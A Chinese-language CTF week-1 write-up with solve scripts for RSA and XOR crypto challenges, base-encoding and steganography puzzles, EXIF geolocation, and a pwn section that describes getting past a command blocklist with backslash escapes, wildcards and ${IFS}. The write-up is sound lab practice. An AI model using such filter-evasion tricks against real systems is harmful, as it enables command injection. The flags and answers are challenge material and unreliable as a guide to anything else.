当前位置: 首页 > news >正文

2025?CTF(部分wp) -- week1

crypto

Basic Number theory

题目:

from Crypto.Util.number import *
from secret import flagdef gift(m, prime):return pow(m, (prime + 1) // 2, prime)m = bytes_to_long(flag)
p = getPrime(256)
q = getPrime(256)print(f'p = {p}')
print(f'q = {q}')
print(f'gift1 = {gift(m, p)}')
print(f'gift2 = {gift(m, q)}')# p = 71380997427449345634700552609577271052193856747526826598031269184817312570231
# q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
# gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
# gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342

exp:

from Crypto.Util.number import long_to_bytes, inversep = 71380997427449345634700552609577271052193856747526826598031269184817312570231
q = 65531748297495117965939047069388412545623909154912018722160805504300279801251
gift1 = 40365143212042701723922505647865230754866250738391105510918441288000789123995
gift2 = 10698628345523517254945893573969253712072344217500232111817321788145975103342def crt(a1, m1, a2, m2):# Solve x ≡ a1 (mod m1), x ≡ a2 (mod m2)t = ((a2 - a1) * inverse(m1 % m2, m2)) % m2return (a1 + m1 * t) % (m1 * m2)cands_p = [gift1 % p, (-gift1) % p]
cands_q = [gift2 % q, (-gift2) % q]cands = []
for a1 in cands_p:for a2 in cands_q:x = crt(a1, p, a2, q)cands.append(x)for x in sorted(set(cands), key=int):b = long_to_bytes(x)try:s = b.decode('utf-8')except UnicodeDecodeError:s = Noneprint(len(b), b if s is None else s)"""
37 flag{Th3_c0rner5t0ne_0f_C2ypt0gr@phy}
64 b'#\xee\xb4\xf3\x9c\xa2\xd6\xb1\xf4\xeeaT%\xb4\xdd\x9f\xab\x12\rbY\x7f]\x83\xc8\xdeU*2Y^\x9eG1\x12\x98,\xfe\xf1\x01\xe7\x1d\xf0\x97\xad\x16\x8aV\x992\xeb\xd4\xa0\xc7|\xbc\xe4\xab\xb3vMX;\xf5'
64 b"5a\x85\x14\xca\xaa\xa4\xce\xcb\xad\x81\xe4\xbb\xd1\xa4Gz\xb6\xa1l\x05\x1c\x00\xccX'\xc4,\xcc\x8f\xfb \xc7Y\xdb\xae\x93\xfc\xf4\xd4?F\xa9\x80C\x84\xd1{\xbec\x02lm\xa3\x85\xbf\xcb\xa0\x1f\xbeJ\x83s\xd0"
64 b'YP:\x08gM{\x80\xc0\x9b\xe38\xe1\x86\x81\xe7%\xc8\xae\xce^\x9b^P!\x06\x18\xf0\x92\x87\xf2C\xba"\xba\xe7]\xcbsg\xc0\xf2d\xa3\xc0,\xf6s\'/\x8e\xfd\xdb\xf1\x92\x08\x7f\xe4`\xf4\'s6H'
"""

Strange Machine

题目:

from secret import msg_len, offset, plaintext
from Crypto.Util.number import long_to_bytes
from random import randbytes
from base64 import b64encode
from pwn import xor
import osflag = os.getenv('FLAG')def banner():print("你发现了一个奇怪的机器,它对你的消息进行了加密。")print("你截获了这个机器第一次的密文,同时可以继续使用该机器进行加密。")print("注意:所有密文输出都经过 base64 编码,方便你复制分析。\n")def menu():print(f"1. 加密消息")print(f"2. 校验明文是否正确")print(f"3. 退出")class Key:def __init__(self):self.seed = randbytes(msg_len)def generate(self):self.seed = self.seed[offset:] + self.seed[:offset]return self.seeddef pad(msg):pad_len = msg_len - len(msg)return msg + pad_len * long_to_bytes(pad_len)def encrypt(msg, key):cipher = xor(pad(msg), key)return b64encode(cipher)def main():banner()key = Key()cur_key = key.generate()cipher1 = encrypt(plaintext, cur_key)print(f'[*] 首次密文(base64):{cipher1}\n')while True:try:menu()choice = int(input(f"[?] 请输入你的选择:"))if choice == 1:msg = input(f"[?] 请输入要加密的消息(长度小于等于{msg_len}): ").encode()if len(msg) > msg_len:print(f"[!] 输入消息过长,最长为 {msg_len} 字节\n")continuecur_key = key.generate()cipher = encrypt(msg, cur_key)print(f"[*] 你的消息已加密(密文): {cipher}\n")continueif choice == 2:msg = input(f"[?] 请输入待校验的明文: ").encode()if msg == plaintext:print(f"[*] 这是你的flag: {flag}\n")breakprint("[!] 校验错误!\n")continueif choice == 3:print("再见~\n")breakprint("[!] 无效输入\n")except Exception:print("[!] 出现错误!\n")breakif __name__ == "__main__":main()
  • 每次加密前,密钥 seed 会按固定偏移 offset 做循环左移:seed = seed[offset:] + seed[:offset]
  • 加密是 cipher = pad(msg) XOR key,而你可以无限次选择明文进行加密(可控明文的异或流)。
  • 于是只要发一条长度为 msg_len 的已知明文(比如全“A”),就能直接还原本轮 keykey = cipher XOR "A"*msg_len
  • 连续做两轮可拿到 key2key3,它们之间仅差一次“左移 offset”。用字符串旋转匹配即可求出 offset,再把 key2 右转回去得到用于首条密文的 key1,进而解出最初的 plaintext
  • 注意服务器的 pad 写法是:msg + pad_len * long_to_bytes(pad_len)。题目里通常会让 msg_len < 256,这样 long_to_bytes(pad_len) 恰好是 1 字节,等价于“类 PKCS#7”末尾填充且易于去除。

exp:

import re
import sys
from base64 import b64decode
from pwn import remote, xorHOST = "challenge.ilovectf.cn"
PORT = 30838def long_to_bytes(n: int) -> bytes:if n == 0:return b"\x00"out = bytearray()while n:out.insert(0, n & 0xFF)n >>= 8return bytes(out)def pad_like_server(msg: bytes, L: int) -> bytes:pad_len = L - len(msg)if pad_len <= 0:return msgreturn msg + long_to_bytes(pad_len) * pad_len  # 题目里的“伪 PKCS#7”写法def rotate_left(b: bytes, k: int) -> bytes:k %= len(b)return b[k:] + b[:k]def rotate_right(b: bytes, k: int) -> bytes:k %= len(b)if k == 0:return breturn b[-k:] + b[:-k]def find_shift(a: bytes, b: bytes) -> int:"""最小非负 k,使得 rotate_left(a, k) == b"""idx = (a + a).find(b)if idx == -1:raise ValueError("Rotation not found; lengths differ or data corrupted")return idxdef recv_b64_from_line(io) -> bytes:"""从当前连接中逐行读取,捕获一行里出现的 base64 字符串"""while True:line = io.recvline(timeout=10)if not line:raise EOFError("Connection closed while waiting for base64")m = re.search(rb"([A-Za-z0-9+/=]{8,})", line)if m:return m.group(1)def main():io = remote(HOST, PORT)c1_b64 = recv_b64_from_line(io)c1 = b64decode(c1_b64)io.sendline(b"1")io.sendline(b"A") c2_b64 = recv_b64_from_line(io)c2 = b64decode(c2_b64)msg_len = len(c2)m1 = pad_like_server(b"A", msg_len)key2 = xor(c2, m1)io.sendline(b"1")io.sendline(b"A" * msg_len)c3_b64 = recv_b64_from_line(io)c3 = b64decode(c3_b64)key3 = xor(c3, b"A" * msg_len)shift = find_shift(key2, key3)key1 = rotate_right(key2, shift)pt_padded = xor(c1, key1)if len(pt_padded) > 0:k = pt_padded[-1]if 1 <= k <= msg_len and pt_padded.endswith(bytes([k]) * k):plaintext = pt_padded[:-k]else:plaintext = pt_paddedelse:plaintext = pt_padded# 提交校验拿 flagio.sendline(b"2")try:for _ in range(5):line = io.recvline(timeout=1)if not line:breakexcept:passio.sendline(plaintext)flag = Nonefor _ in range(20):line = io.recvline(timeout=5)if not line:breakm = re.search(rb"(flag\{.*?\})", line, re.IGNORECASE)if m:flag = m.group(1).decode(errors="ignore")breakif flag:print("[+] FLAG:", flag)else:print("[!] 未能自动捕获 flag,请查看终端输出手动确认。")io.close()if __name__ == "__main__":main()"""
[x] Opening connection to challenge.ilovectf.cn on port 30838
[x] Opening connection to challenge.ilovectf.cn on port 30838: Trying 43.248.77.161
[+] Opening connection to challenge.ilovectf.cn on port 30838: Done
[+] FLAG: flag{2566803e-6393-4e17-ae81-d9a2e8e9fffe}
[*] Closed connection to challenge.ilovectf.cn port 30838
"""

beyondHex

题目:

这是什么东西?
807G6F429C7FA2200F46525G1350AB20G339D2GB7D8

根据题目:beyondHex ➜ 超出十六进制

观察字符集,在16进制基础上多了一个G,想到base17

直接出exp:

def decode_base17(s: str) -> bytes:digits = "0123456789ABCDEFG"table = {ch: i for i, ch in enumerate(digits)}n = 0for ch in s.strip().upper():if ch not in table:raise ValueError(f"非法字符: {ch}")n = n * 17 + table[ch]return n.to_bytes((n.bit_length() + 7) // 8, "big")cipher = "807G6F429C7FA2200F46525G1350AB20G339D2GB7D8"
pt = decode_base17(cipher)
print(pt.decode())
"""
flag{welc0me_t0_?CTF!}
"""

two Es

题目:

from Crypto.Util.number import *
import random
from secret import flagp, q = getPrime(512), getPrime(512)
n = p * qe1 = random.getrandbits(32)
e2 = random.getrandbits(32)m = bytes_to_long(flag)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)print(f'{n = }')
print(f'{e1 = }')
print(f'{e2 = }')
print(f'{c1 = }')
print(f'{c2 = }')'''
n = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443
e1 = 2819786085
e2 = 4203935931
c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974
c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968
'''

共模攻击,套板子

exp:

from Crypto.Util.number import *
from gmpy2 import *
from gmpy2 import gmpy2
from tqdm import trangen = 118951231851047571559217335117170383889369241506334435506974203511684612137655707364175506626353185266191175920454931743776877868558249224244622243762576178613428854425451444084313631798543697941971483572795632393388563520060136915983419489153783614798844426447471675798105689571205618922034550157013396634443
e1 = 2819786085
e2 = 4203935931
c1 = 104852820628577684483432698430994392212341947538062367608937715761740532036933756841425619664673877530891898779701009843985308556306656168566466318961463247186202599188026358282735716902987474154862267239716349298652942506512193240265260314062483869461033708176350145497191865168924825426478400584516421567974
c2 = 43118977673121220602933248973628727040318421596869003196014836853751584691920445952955467668612608693138227541764934104815818143729167823177291260165694321278079072309885687887255739841571920269405948846600660240154954071184064262133096801059918060973055211029726526524241753473771587909852399763354060832968e = (gmpy2.gcd(e1,e2))d,x,y = gmpy2.gcdext(e1,e2)
m = pow(c1,x,n)*pow(c2,y,n) % nfor i in trange(1000):if gmpy2.iroot(m+i*n,e)[-1]:print(long_to_bytes(int(gmpy2.iroot(m+i*n,e)[0])))"""
b'flag{s01v3_rO0T_bY_7he_S4mE_m0dU1u5}'
"""

xorRSA

题目:

from Crypto.Util.number import *
from secret import flagp, q = getPrime(1024), getPrime(1024)
n = p * q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
p_q = p ^ qprint(f'{n = }')
print(f'{e = }')
print(f'{c = }')
print(f'{p_q = }')'''
n = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493
e = 65537
c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494
p_q = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100
'''

已知 x = p ^ q 会把每一位上的 (pi, qi) 限定为两种可能(当 ai=0 时只能是 (0,0)(1,1);当 ai=1 时只能是 (0,1)(1,0))。
用这个约束从最低位往高位做“逐位搜索 + 乘积同余校验”(p*q ≡ n (mod 2^k)),分支会被强力剪掉;到达 ~bitlen(x) 后,再对候选与 n 求 gcd 拿到 p/q

from Crypto.Util.number import long_to_bytes
import mathn = 18061840786617912438996345214060567122008006566608565470922708255493870675991346333993136865435336505071047681829600696007854811200192979026938621307808394735367086257150823868393502421947362103403305323343329530015886676141404847528567199164203106041887980250901224907217271412495658238000428155863230216487699143138174899315041844320680520430921010039515451825289303532974354096690654604842256150621697967106463329359391655215554171614421198047559849727235032270127681416682155240317343037276968357231651722266548626117109961613350614054537118394055824940789414473424585411579459583308685751324937629321503890169493
e = 65537
c = 17953801553187442264071031639061239403375267544951822039441227630063465978993165328404783737755442118967031318698748459837999730471765908918892704038188635488634468552787554559846820727286284092716064629914340869208385181357615817945878013584555521801850998319665267313161882027213027139165137714815505996438717880253578538572193138954426764798279057176765746717949395519605845713927900919261836299232964938356193758253134547047068462259994112344727081440167173365263585740454211244943993795874099027593823941471126840495765154866313478322190748184566075583279428244873773602323938633975628368752872219283896862671494
x = 88775678961253172728085584203578801290397779093162231659217341400681830680568426254559677076410830059833478580229352545860384843730990300398061904514493264881401520881423698800064247530838838305224202665605992991627155227589402516343855527142200730379513934493657380099647739065365753038212480664586174926100def factor_from_xor(n: int, x: int):"""Reconstruct p, q given n and x = p ^ q using bitwise DP with product mod 2^k checks."""candidates = {(0, 0)}blen = max(x.bit_length(), n.bit_length() // 2 + 1)mask = 1for i in range(blen):ai = (x >> i) & 1pairs = [(0, 0), (1, 1)] if ai == 0 else [(0, 1), (1, 0)]mask <<= 1n_mod = n & (mask - 1)new_set = set()for p, q in candidates:for pb, qb in pairs:pp = p | (pb << i)qq = q | (qb << i)if (pp * qq) & (mask - 1) == n_mod:if pp <= qq:new_set.add((pp, qq))else:new_set.add((qq, pp))candidates = new_setif not candidates:raise ValueError(f"Search pruned to empty at bit {i}")for p, q in candidates:g = math.gcd(p, n)if 1 < g < n:return g, n // gg = math.gcd(q, n)if 1 < g < n:return g, n // graise ValueError("Failed to recover factors from candidates")def rsa_decrypt(n, e, c, p, q):phi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)return long_to_bytes(m)if __name__ == "__main__":p, q = factor_from_xor(n, x)assert p * q == nflag = rsa_decrypt(n, e, c, p, q)print(flag.decode(errors="ignore"))"""
flag{U5e_PruN1ng_41g0rI7hm_tO_sEarch}
"""

forensics

取证第一次

题目描述

Arch Linux 又安装失败惹qwq
出错的原因似乎很奇怪,不如在日志里找找,说不定有什么潜藏的秘密...

附件一个vmdk镜像文件

火眼分析,题目描述提示在日志中找信息

直接全局搜索flag{找到flag

misc

《关于我穿越到CTF的异世界这档事:序》

题目描述:

metavi正在深夜刷题,屏幕突然弹出计算器窗口,紧接着浮现一句话:
【"即使引导早已破碎,也请您当上MISC之王。"】
一阵强光过后,他已然站在一片不可思议的大陆上,NPC告诉他,这里是“异世界·Misc大陆”,而他是被召唤来的挑战者。他被选中代表“Misc分域”挑战其他技术领域,否则 Misc 将被系统删除。挑战形式则是一道道Misc题的具象化场景。为了Misc也为了自己,metavi不得不接受挑战。
【第一层·base:请解出隐藏在base里的flag。】

两个附件

VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXfgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDf==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXVgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDV==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXUgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDU==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXdgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDd==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXZgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDZ==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXXgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDX==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXWgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDW==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXTgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYuDT==
VGhlIGtleSBoYXMgbmV2ZXIgYmVlbiBmYXIgYXdheTsgaXQgbGllcyBwZWFjZWZ1bGx5IHdpdGhpbiB0aGUgdGV4dCBpdHNlbGYu
Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT=====

根据附件名字,base8,alphabet -> 字母表,说明这个alphabet.txt中应该是base8的自定义换表

alphabet.txt -> base64隐写解密得到自定义表

base8换表解密得到一个base64编码再解密得到flag

import stringdef base8_decode_with_custom_table(encoded_text, custom_table):if len(custom_table) != 8:raise ValueError("自定义表必须包含8个不同的字符")if len(set(custom_table)) != 8:raise ValueError("自定义表中的字符必须唯一")decode_map = {char: i for i, char in enumerate(custom_table)}clean_text = encoded_text.rstrip('=')binary_string = ""for char in clean_text:if char in decode_map:value = decode_map[char]# 将值转换为3位二进制binary_string += format(value, '03b')else:continuedecoded_bytes = bytearray()for i in range(0, len(binary_string), 8):byte_chunk = binary_string[i:i + 8]if len(byte_chunk) == 8:decoded_bytes.append(int(byte_chunk, 2))try:return decoded_bytes.decode('utf-8')except UnicodeDecodeError:return bytes(decoded_bytes)def main():print("Base8 换表解密工具")print("=" * 30)standard_table = "01234567"encoded_text = input("请输入要解密的Base8编码文本: ").strip()use_custom = input("是否使用自定义映射表?(y/n): ").lower().strip()if use_custom == 'y':custom_table = input("请输入8个字符的自定义映射表: ").strip()try:result = base8_decode_with_custom_table(encoded_text, custom_table)print(f"\n解密结果: {result}")except ValueError as e:print(f"错误: {e}")else:result = base8_decode_with_custom_table(encoded_text, standard_table)print(f"\n解密结果: {result}")print("\n常见自定义表示例:")print(f"标准Base8: {standard_table}")print(f"字母表: abcdefgh")print(f"特殊字符: !@#$%^&*")print(f"混合字符: A1b2C3d4")if __name__ == "__main__":main()"""
Base8 换表解密工具
==============================
请输入要解密的Base8编码文本: Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT=====
是否使用自定义映射表?(y/n): y
请输入8个字符的自定义映射表: ?CTFmisc解密结果: ZmxhZ3tUaDNfUHIxbmMxcGwzXzBmX0Jhc2VfMXNfUzBfRXp6fQ==常见自定义表示例:
标准Base8: 01234567
字母表: abcdefgh
特殊字符: !@#$%^&*
混合字符: A1b2C3d4
"""

俱乐部之旅(1) - 邀请函

题目描述:

一天Tomoki在冲浪的时候,突然收到了一封来自“c5im俱乐部”的邮件,里面是一封俱乐部邀请函,但想要打开邀请函必须先解出附件中的flag……

打开附件,有提示信息

zip掩码爆破

解压出来是一个docx文件,在属性找到信息

进行解密,得到第一段flag

将docx转zip,发现可疑文件

16进制转字符串,得到第二段flag

布豪有黑客(一)

题目描述:

c3把心爱的flag藏在了服务器上,但粗心的他好像忘记关闭HTTP服务了,于是黑客成功偷走了c3的flag和解压密码…

根据题目提示,在流量包中找到了password.txt,密码是:?CTF2025

提出flag.zip,使用密码解密

文化木的侦探委托(一)

题目描述:

文化木是一家仅有一人的灵异侦探所的员工,有一天,她收到了一张奇怪的照片……?

附件一个png图片,还有一些信息

根据文字信息,盲猜要修宽高

拖入随波逐流,自动检测修复了宽高

有一段提示,用stegsolve分析

维吉尼亚朋友的来信

题目描述:

你的维吉尼亚朋友向你来信,奇怪的是你却收到了一个音频,你用眼睛仔细去听,发现信件从深处的声音中来…

附件是一个wav文件,使用Audacity分析

频谱图发现KEY{deepsound}

deepsound是一个工具,根据提示使用工具进行分析

隐藏了一个txt文件

题目提到维吉尼亚,但一直没用到维吉尼亚解密,想都不要想,直接vigenere-solver

“funny letter to you”将空格换位"_"

flag{funny_letter_to_you}

osint

Task 1. 见面地点

题目描述:

你的高中同学 Moe 已经有一个多月没联系你了...但今天又突然收到了他的消息。
“不用我多说你一定懂了,坐地铁在这里碰面ww”以及一张他随手拍的照片。
哦——原来是暑假旅行啊。
Moe 这人很喜欢给朋友出些丈二和尚摸不着头脑的谜题。出乎意料的是,这次他给出的线索似乎很直截了当。
你需要找到距目的地直线距离最近的地铁站点,以及经过该站点的线路。
flag以flag{线路号_站点名}的形式给出,站点名为首字母大写的拼音形式。
例如:目标站点为“国际机场“,有1号线与空港S3号线经过,则答案为flag{1_S3_GuoJiJiChang}。

附件:

图片属性中找到拍照的经纬度

将经纬度转换成十进制格式,然后在线经纬度网站查找位置

明显会展中心这个站点更近,所有这个站点名是会展中心,然后是地铁一号线和地铁四号线进行的交汇,最后按题目描述格式要求构造flag

pwn

count

题目描述:

大学生算数应该没问题吧?

连接靶机

就是一些简单的算术,但是要在限制时间内完成计算,直接套脚本(写过类似的题目)

import socket
import redef solve_hex_addition(expression):match = re.search(r'(0x[0-9a-fA-F]+)\s*\+\s*(0x[0-9a-fA-F]+)\s*=\s*\?', expression)if match:hex1 = match.group(1)hex2 = match.group(2)num1 = int(hex1, 16)num2 = int(hex2, 16)result = num1 + num2hex_answer = hex(result)[2:]return hex_answerreturn Nonehost = 'challenge.ilovectf.cn'
port = 30138sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.settimeout(10)buffer = ""
data = sock.recv(1024).decode('utf-8', errors='ignore')
buffer += data
print('初始服务器响应:')
print(buffer)match = re.search(r'(\d+)[x×](\d+)=?', buffer)
if match:num1 = int(match.group(1))num2 = int(match.group(2))answer = num1 * num2print(f'计算第一题: {num1} x {num2} = {answer}')sock.send(f'{answer}\n'.encode('utf-8'))buffer = ""data = sock.recv(1024).decode('utf-8', errors='ignore')buffer += dataprint('服务器回应:')print(buffer)print("\n开始处理十六进制加法挑战...")correct_count = 0
total_questions = 20while correct_count < total_questions:try:# 如果没有找到题目,继续接收数据if not re.search(r'(0x[0-9a-fA-F]+\s*\+\s*0x[0-9a-fA-F]+\s*=\s*\?)', buffer):data = sock.recv(1024).decode('utf-8', errors='ignore')buffer += datamatch = re.search(r'(0x[0-9a-fA-F]+\s*\+\s*0x[0-9a-fA-F]+\s*=\s*\?)', buffer)if match:problem_text = match.group(0)# 计算答案answer = solve_hex_addition(problem_text)if answer:print(f'第{correct_count + 1}题: {problem_text} {answer}')print(f'答案: {answer}')# 发送答案sock.send(f'{answer}\n'.encode('utf-8'))correct_count += 1buffer = buffer[match.end():]print(f'进度: {correct_count}/{total_questions}')try:feedback = sock.recv(1024).decode('utf-8', errors='ignore')buffer += feedbackif 'error' in feedback.lower() or 'fail' in feedback.lower():print("挑战失败!")print(feedback)breakelif 'flag' in feedback.lower() or 'ilovectf' in feedback.lower():print("找到flag!")print(feedback)breakexcept socket.timeout:# 超时可能是正常的,继续处理下一题passelse:print("无法解析题目格式")print(f"当前缓冲区: {buffer}")breakif 'flag' in buffer.lower() or 'ilovectf' in buffer.lower():print("\n找到flag信息:")print(buffer)breakexcept socket.timeout:print("接收超时")if correct_count >= total_questions:breakexcept Exception as e:print(f"发生错误: {e}")print(f"当前缓冲区: {buffer}")breakif correct_count >= total_questions:print("\n已完成20道题,等待flag...")try:for _ in range(3):try:final_data = sock.recv(4096).decode('utf-8', errors='ignore')if final_data:print("最终服务器响应:")print(final_data)if 'flag' in final_data.lower() or 'ilovectf' in final_data.lower():breakexcept socket.timeout:breakexcept:passprint(f"\n最终状态: 完成 {correct_count}/{total_questions} 题")
sock.close()

ncncnc

题目描述

哇,是nc连接题,我们有救了

连靶机看看

要我cat hint,那就cat一下吧

输入WoW,这里说将cat和hint加入了黑名单,用\绕过cat,用?代替hint中的一位

输入TuT,这里把空格过滤了,用${IFS}绕过

拿到flag咯

勇者救公主

题目描述:

迎来到gdb大陆!

连接靶机

照着任务说明一步一步来就好了

~/PWN/fujian$ nc challenge.ilovectf.cn 30165🎮 GDB冒险游戏 - 勇者救公主 🎮
===================================🏰 =============================== 🏰勇者救公主 - GDB冒险之旅调试魔法学院
🏰 =============================== 🏰✨ 魔法世界初始化完成!
💡 输入 'help' 查看可用的调试魔法📖 ======= 背景故事 =======
在遥远的调试王国,美丽的公主被邪恶的BUG巨龙囚禁在城堡中。
作为王国最勇敢的调试骑士,你必须掌握GDB魔法,收集强大的装备,
最终击败巨龙,救出公主!🎮 ======= 游戏机制 =======
• 使用 'b <地址>' 设置传送点(断点)(但是在你现实生活使用gdb的时候请使用b *地址)
• 使用 'c' 前往传送点(继续执行)
• 每个场景都有特定任务,完成后获得装备
• 装备会增加攻击力,足够的攻击力才能击败巨龙
• 需要实际输入查看到的值来验证学习成果准备好了吗?让我们开始冒险!
===============================ps:  answer <值>   - 提交任务答案📍 当前位置: 0x401000 - 新手村和平的村庄,调试冒险的起点📋 任务: 村长说:'年轻人,先学会观察自己的状态。使用 'info registers' 查看你的魔法值(rsp),然后告诉我它的值。'
🎓 技能: info registers(gdb) info registers=== 📊 寄存器状态 ===
rax            0x1337            
rbx            0x13              
rcx            0xcafebabe        
rdx            0xdeadc0de        
rsi            0x12345678        
rdi            0x87654321        
rbp            0x7fffffffe010      ← 栈底
rsp            0x7fffffffe000      ← 栈顶
r8             0x8888888888888888
r9             0x9999999999999999
r10            0xaaaaaaaaaaaaaaaa
r11            0xbbbbbbbbbbbbbbbb
r12            0xcccccccccccccccc
r13            0xdddddddddddddddd
r14            0xeeeeeeeeeeeeeeee
r15            0xffffffffffffffff
rip            0x401000            ← 当前位置
eflags         0x246             (gdb) answer 0x7fffffffe000
✅ 正确! 新手村 场景完成!
🎁 获得装备: 🗡️ 新手之剑 (+20攻击力)基础的调试武器
⚔️  当前总攻击力: 30🆕 新场景解锁: 迷雾森林地址: 0x402000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:森林守护者:'森林深处藏着宝藏。使用 x/1x 0x402100 查看隐藏的宝藏代码,告诉我你看到的值。'(gdb) x/1x 0x4021000x402100:       0x00000000deadbeef      ; 森林宝藏(gdb) answer 0x00000000deadbeef
✅ 正确! 迷雾森林 场景完成!
🎁 获得装备: 🏹 森林之弓 (+30攻击力)能看穿迷雾的魔法弓
